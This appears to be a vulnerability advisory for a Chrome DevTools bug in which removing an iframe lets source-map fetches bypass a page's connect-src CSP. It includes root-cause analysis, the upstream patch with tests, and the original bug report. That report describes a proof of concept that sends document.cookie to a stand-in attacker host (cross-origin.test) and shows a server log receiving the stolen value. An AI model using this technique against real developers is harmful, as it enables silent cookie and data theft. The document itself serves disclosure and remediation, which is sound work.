CVE-2026-87629
Overview
Background
- Content Security Policy (CSP)
- a page-level policy whose
connect-src/default-srcdirectives restrict which origins the page (and fetches attributed to its frames) may load resources from. - DevTools source-map/resource fetch
- DevTools loads
.mapand other developer resources whose URLs can be steered by attacker-supplied page content (e.g. a//# sourceMappingURL=comment), so the fetch target is not fully trusted. - Host-bindings fallback
Host.InspectorFrontendHost.InspectorFrontendHostInstance.loadNetworkResource, a privileged DevTools-frontend fetch path that runs outside the inspected page’s process and is therefore not subject to the page’s CSP.- `Network.getSecurityIsolationStatus`
- a CDP command (exposed via
NetworkManager.getSecurityIsolationStatus) that returns a frame’s security posture, including its enforced CSPeffectiveDirectives.
Root Cause Analysis
The edited code first attempts this.loadFromTarget(...), which routes the request through the inspected page and honors its CSP; on failure it entered a catch block that decided whether to run the privileged host-bindings fallback.
Pre-patch, that decision rested solely on whether the caught error message literally includes('CSP violation') — only that exact string produced the terminal {success: false, content: ''} result, and every other error fell through to the unsafe fallback that ignores the page CSP. The invariant violated is that “the target did not report a CSP-violation string” was wrongly treated as equivalent to “no CSP applies,” even though an attacker controls what error the target returns. By injecting an iframe initiator, triggering the fetch, and immediately removing the frame, the primary load fails with Frame not found instead of CSP violation, so the string check misses and the fallback runs, bypassing CSP.
The fix proactively queries networkManager.getSecurityIsolationStatus(initiator.frameId) (falling back to the top-level status when the frame status is absent) before loading and sets mustEnforceCSP = true when any effective directive contains connect-src or default-src; the catch guard becomes if (mustEnforceCSP || e.message.includes('CSP violation')), so when a restrictive CSP is present any failure is terminal and the fallback never executes. This tightens the check: authorization is now derived from the frame’s authoritative CSP posture rather than from an attacker-influenceable error string.
'CSP violation'), a signal the attacker can change by making the load fail differently; the fix determines CSP enforcement authoritatively up front via getSecurityIsolationStatus and treats any subsequent failure as terminal whenever a restrictive CSP exists.Attack Path
- Host a page with a restrictive CSP
The attacker serves a page whose CSP (
connect-src/default-src) would block fetching a chosen resource URL, and arranges for DevTools to load that URL (e.g. via a source-map reference). - Inject a transient iframe initiator The attacker creates an iframe, triggers the DevTools resource/source-map fetch attributed to that frame, then immediately removes the iframe.
- Force a non-CSP failure
Because the initiating frame is gone,
loadFromTargetrejects with aFrame not founderror rather than aCSP violationerror. - Slip past the string check
Pre-patch, the
catchguarde.message.includes('CSP violation')does not match, so control falls through to the privilegedInspectorFrontendHostloadNetworkResourcehost-bindings fallback, which is not bound by the page’s CSP. - Fetch outside CSP
The resource is retrieved through the privileged frontend path, bypassing the page’s
connect-src/default-srcrestriction; onward misuse such as exfiltrating data to a CSP-blocked endpoint is(inferred).
Impact Assessment
connect-src would forbid) to be performed through the privileged DevTools-frontend context rather than the CSP-constrained target. The precondition is that DevTools is open on an attacker-influenced page (the Sources workflow processing attacker-referenced source maps) and that the attacker can inject and remove a frame to control the failure error. The vendor advisory rates this low severity and does not report in-the-wild exploitation; NVD scores it CVSS 6.5. Any further escalation such as data exfiltration or SSRF-style abuse is (inferred).Changed Functions
| Function | Change | Notes |
|---|---|---|
iffront_end/core/sdk/PageResourceLoader.ts |
modified | |
forfront_end/core/sdk/PageResourceLoader.ts |
modified |
Files Changed
front_end/core/sdk/PageResourceLoader.tsfront_end/core/sdk/PageResourceLoader.test.ts
Audit Directions
- Error-string-driven security decisionsFlag any control flow that grants or denies a privileged action based on matching a substring of an error message (e.g.
message.includes(...)), since the failure text is often attacker- or environment-controlled and not a reliable authorization signal. - Privileged frontend fallbacksAudit other DevTools paths that fall back to
InspectorFrontendHost/host bindings when a target load fails, and verify each independently confirms the resource is permitted rather than assuming a non-specific failure means the restriction does not apply. - Frame-lifecycle race conditionsLook for logic that decides authorization using state from a frame/execution context that may be destroyed between the fetch trigger and the load, where removing the frame changes the observed outcome (as
Frame not founddid here).
Patch
From 94bfd04bf58c052951ae7a834b6f42df7338ca5a Mon Sep 17 00:00:00 2001 From: Danil Somsikov <[email protected]> Date: Wed, 11 Mar 2026 08:56:45 -0700 Subject: [PATCH] Prevent CSP bypass in source map fetches via removed frames Currently, DevTools only blocks its unsafe fallback mechanism for source map requests if it receives a literal "CSP violation" error from the target. An attacker can bypass this by triggering a fetch from an injected iframe and immediately removing it. This causes the primary load to fail with a "Frame not found" error, which incorrectly triggers the fallback and bypasses the page's Content Security Policy. This CL addresses the issue by querying the frame's security posture (via `Network.getSecurityIsolationStatus`) before initiating the fetch. If a restrictive CSP (`connect-src` or `default-src`) is detected, any failure from the target load is treated as a terminal security failure, preventing the unsafe fallback mechanism from executing. Bug: 490773579 Change-Id: I7293ba2f112a9cd4ab765dce6de8439afbb0f1b5 Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/7656988 Commit-Queue: Simon Zünd <[email protected]> Auto-Submit: Danil Somsikov <[email protected]> Commit-Queue: Danil Somsikov <[email protected]> Reviewed-by: Simon Zünd <[email protected]> --- diff --git a/front_end/core/sdk/PageResourceLoader.test.ts b/front_end/core/sdk/PageResourceLoader.test.ts index cba13d6..a5bcb8c 100644 --- a/front_end/core/sdk/PageResourceLoader.test.ts +++ b/front_end/core/sdk/PageResourceLoader.test.ts @@ -295,6 +295,94 @@ }); } }); + + describe('loadResource with CSP', () => { + it('does not fall back to host bindings if frame has restrictive CSP', async () => { + const {loader, settings, targetManager} = setup(); + settings.moduleSetting('cache-disabled').set(false); + const connection = new MockCDPConnection(); + + connection.setHandler('Network.getSecurityIsolationStatus', () => { + return { + result: { + status: { + csp: [{ + effectiveDirectives: 'connect-src \'none\'', + isEnforced: true, + source: 'HTTP' as Protocol.Network.ContentSecurityPolicySource, + }], + }, + }, + }; + }); + + connection.setHandler('Network.loadNetworkResource', () => { + return { + error: { + code: -32000, + message: 'Frame not found', + }, + }; + }); + + const target = createTarget({connection, targetManager}); + const initiator = {target, frameId: '123' as Protocol.Page.FrameId, initiatorUrl: urlString`https://example.com`}; + const url = urlString`https://example.com/source.map`; + + const loadHostBindingsStub = + sinon.stub(Host.InspectorFrontendHost.InspectorFrontendHostInstance, 'loadNetworkResource'); + + try { + await loader.loadResource(url, initiator); + assert.fail('Expected loadResource to throw'); + } catch (e) { + assert.strictEqual(e.message, 'Frame not found'); + } + + // Verify fallback was NOT called + sinon.assert.notCalled(loadHostBindingsStub); + }); + + it('falls back to host bindings if frame has no restrictive CSP', async () => { + const {loader, settings, targetManager} = setup(); + settings.moduleSetting('cache-disabled').set(false); + const connection = new MockCDPConnection(); + + connection.setHandler('Network.getSecurityIsolationStatus', () => { + return { + result: { + status: { + csp: [], + }, + }, + }; + }); + + connection.setHandler('Network.loadNetworkResource', () => { + return { + error: { + code: -32000, + message: 'Frame not found', + }, + }; + }); + + const target = createTarget({connection, targetManager}); + const initiator = {target, frameId: '123' as Protocol.Page.FrameId, initiatorUrl: urlString`https://example.com`}; + const url = urlString`https://example.com/source.map`; + + const loadHostBindingsStub = + sinon.stub(Host.InspectorFrontendHost.InspectorFrontendHostInstance, 'loadNetworkResource') + .callsFake((_url, _headers, streamId, callback) => { + Host.ResourceLoader.streamWrite(streamId, 'fallback content'); + callback({statusCode: 200}); + }); + + const result = await loader.loadResource(url, initiator); + assert.strictEqual(result.content, 'fallback content'); + sinon.assert.calledOnce(loadHostBindingsStub); + }); + }); }); describe('PageResourceLoader', () => { diff --git a/front_end/core/sdk/PageResourceLoader.ts b/front_end/core/sdk/PageResourceLoader.ts index bf4335c..6439842 100644 --- a/front_end/core/sdk/PageResourceLoader.ts +++ b/front_end/core/sdk/PageResourceLoader.ts @@ -334,6 +334,27 @@ initiator.target; Host.userMetrics.developerResourceScheme(this.getDeveloperResourceScheme(parsedURL)); if (eligibleForLoadFromTarget) { + let mustEnforceCSP = false; + const isHttp = parsedURL.scheme === 'http' || parsedURL.scheme === 'https'; + if (isHttp && initiator.target) { + const networkManager = initiator.target.model(NetworkManager); + if (networkManager) { + let status = await networkManager.getSecurityIsolationStatus(initiator.frameId); + if (!status && initiator.frameId) { + status = await networkManager.getSecurityIsolationStatus(null); + } + if (status?.csp) { + for (const csp of status.csp) { + const directives = csp.effectiveDirectives; + if (directives.includes('connect-src') || directives.includes('default-src')) { + mustEnforceCSP = true; + break; + } + } + } + } + } + try { Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_VIA_TARGET); const result = await this.loadFromTarget(initiator.target, initiator.frameId, url, isBinary); @@ -341,7 +362,7 @@ } catch (e) { if (e instanceof Error) { Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FAILURE); - if (e.message.includes('CSP violation')) { + if (mustEnforceCSP || e.message.includes('CSP violation')) { return { success: false, content: '',
Original Bug Report
Fetching source maps can bypass `connect-src` CSP via a removed frame
VULNERABILITY DETAILS
Summary
Following the decision made in issue 361116749, sourceMappingURL requests should be blocked by the connect-src CSP directive.
However, this vulnerability allows an attacker to bypass CSP and send requests to their own server, even if the connect-src directive (or its fallback) forbids it.
Bisect and Root Cause Analysis
The check at PageResourceLoader.ts:344 only prevents the fallback if loadFromTarget fails specifically with a CSP violation error:
try {
Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_VIA_TARGET);
const result = await this.loadFromTarget(initiator.target, initiator.frameId, url, isBinary);
return result;
} catch (e) {
if (e instanceof Error) {
Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FAILURE);
if (e.message.includes('CSP violation')) {
return {
success: false,
content: '',
errorDescription: {
statusCode: 0,
message: e.message,
}
};
}
}
}
Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FALLBACK);
Because the source map fetch is asynchronous, if the target frame is removed before loadNetworkResource, loadFromTarget will fail with a different error: Frame not found. When this happens, the fallback mechanism is still triggered, successfully sending the request to the attacker’s server.
The check for e.message was introduced in the following commit:
Attack Preconditions
The victim (most likely a developer) opens DevTools on a page controlled by the attacker via XSS
Impact Analysis
I believe this carries the same impact and severity as issue 361116749 (previous discussion regarding the impact can be found in comment #3). A remote attacker can abuse this vulnerability to bypass CSP and exfiltrate sensitive data to their server, despite restrictive connect-src or fallback directives.
Additionally, this behavior is completely silent; the user will not notice the request even if they check the DevTools Network panel.
VERSION
Chrome Version: 145.0.7632.76 stable
Operating System: Linux, Mac, Windows
This vulnerability is also present in Chrome 147.0.7692.0 canary.
REPRODUCTION CASE
- Create a directory structure like this with the attached file:
.
└── index.html
- Update your
/etc/hostsfile to resolvecross-origin.testto127.0.0.1. (Alternatively, change theATTACKER_URLinindex.htmlto your own server’s URL.) - Start a local web server in the directory. For example, using Python:
python3 -m http.server 1337
- Open
http://localhost:1337/with DevTools opened. index.htmlattempts to create aniframeusingsrcdoc, then usesiframe.contentDocument.writeto inject a script tag with asourceMappingURLpointing tohttp://cross-origin.test:1337/exploit.map?c=${document.cookie}. The iframe is removed immediately after the script tag is written. This ensures the iframe is removed and triggers the fallback mechanism with aFrame not founderror instead of aCSP violation.- Even though
index.html’s CSP:default-src 'none'; script-src 'unsafe-inline';does not allowhttp://cross-origin.test:1337, the source map request tohttp://cross-origin.test:1337/exploit.mapwill still be sent. The expected server log (using Python’shttp.server) should look like this:
$ python3 -m http.server 1337
Serving HTTP on :: port 1337 (http://[::]:1337/) ...
::1 - - [08/Mar/2026 17:02:21] "GET / HTTP/1.1" 200 -
::1 - - [08/Mar/2026 17:02:21] code 404, message File not found
::1 - - [08/Mar/2026 17:02:21] "GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1" 404 -
::ffff:127.0.0.1 - - [08/Mar/2026 17:02:21] code 404, message File not found
::ffff:127.0.0.1 - - [08/Mar/2026 17:02:21] "GET /exploit.map?c=secret%3Dflag%7Bcredentials_that_attackers_want_to_steal%7D&t=1772960541600 HTTP/1.1" 404 -
CREDIT INFORMATION
Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.
- http://cross-origin.test:1337
- http://cross-origin.test:1337/exploit.map
- http://cross-origin.test:1337/exploit.map?c=${document.cookie
- http://localhost:1337/
- https://issuetracker.google.com/issues/361116749
- https://source.chromium.org/chromium/_/chromium/devtools/devtools-frontend/+/5c8833cfccc90880d3dc648b64cc6786a48a2d0e
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/devtools-frontend/src/front_end/core/sdk/PageResourceLoader.ts;l=344;drc=a718fd59205c847882992a8aec65f5e23ed93a7c
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/devtools-frontend/src/front_end/core/sdk/PageResourceLoader.ts;l=414;drc=a718fd59205c847882992a8aec65f5e23ed93a7c